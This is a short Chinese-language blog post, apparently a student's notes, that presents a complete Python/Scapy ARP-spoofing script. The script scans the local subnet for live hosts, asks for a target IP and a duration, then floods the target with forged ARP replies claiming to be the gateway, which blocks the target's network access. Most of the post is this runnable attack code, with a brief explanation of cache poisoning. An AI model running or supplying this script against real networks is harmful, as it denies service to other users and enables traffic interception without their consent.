Python来实现
1.获得当前ip及网关–>route print
2.封装arp数据包,以太网的包结构形式来发起ping,得到存活主机列表
3.得到存活主机列表
4.选择需要攻击或阻网的ip
5.设置攻击时长
6.arp攻击(封包、发包)
直接上代码吧,感觉没什么好说的。
这里代码是参考了好多个博客总结了一下代码。但是不太清楚原理,又但是可以实现网络阻断的功能
不行,还不能现在就上代码,还得说明一下虚拟机的网络配置模式。
这里需要用到桥接模式,直接改过来就好了。
菜鸡一开始不太会修改网络模式,结果改成桥接ping不通了,,真tm气人啊,搞了一中午,(我的午觉没有了)
也不知道怎么弄得,虚拟机防火墙给阻了,所以从物理机ping不通虚拟机,,,
6.28更新:好像知道怎么个原理了,是在本机发送数据报给pdst,告诉它自己就是psrc(网关),这样一直发,把原本正常的arp缓存给顶出去,所以自己成了目标靶机的网关了。
废话说完了,代码贴上来
import os
import time
from scapy.all import *
def scanSpoof():
netCard = 'xxxxx # 攻击的网卡,我这里是用的无线的网卡
cmdCode = 'route print' # 查看路由情况的cmd命令
# 执行cmd命令,获得当前主机的ip和网关
for line in os.popen(cmdCode):
# 通过line获得ip和网关
s = line.strip()
# print(s)
if s.startswith('0.0.0.0'):
ipList = s.split()
gw = ipList[2] # 网关
ip = ipList[3] # 当前ip
# print('ip: ' + ip)
# print('gw: ' + gw)
break
print("使用的网卡是: %s" % netCard)
print("本机上网ip是: %s" % ip)
print("上网网关是: %s" % gw)
# 封装一个arp数据包,符合以太网的包定义
arpPk = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=gw+"/24") # Ether用于构造数据包
# srp 函数用于发送和接受第二层的数据包(Ethernet等)
ansip, unansip = srp(arpPk, iface=netCard, timeout=2, verbose=0)
print("扫描到%s台在线主机" % len(ansip))
print("扫描到%s台不在线主机" % len(unansip))
resIp = []
for s, r in ansip:
resIp.append([r.psrc, r.hwsrc]) # ip, mac
resIp.sort(); # 去重+排序
for ip, mac in resIp:
print("%s--->%s" % (ip, mac))
# 代理/抓包
# 阻断网络
targetIp = input("输入需要攻击的ip:")
targetTime = int(input("输入需要攻击的时间(秒):"))
# 实现arp攻击
for i in range(targetTime*10):
# 不太清楚这里为什么可以实现阻断网络的效果
sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=targetIp, psrc=gw), verbose=0)
time.sleep(0.1)
print("对%s的arp攻击完成" % targetIp)
if __name__ == '__main__':
scanSpoof()
好吧,我承认了,这是抄的铁三的代码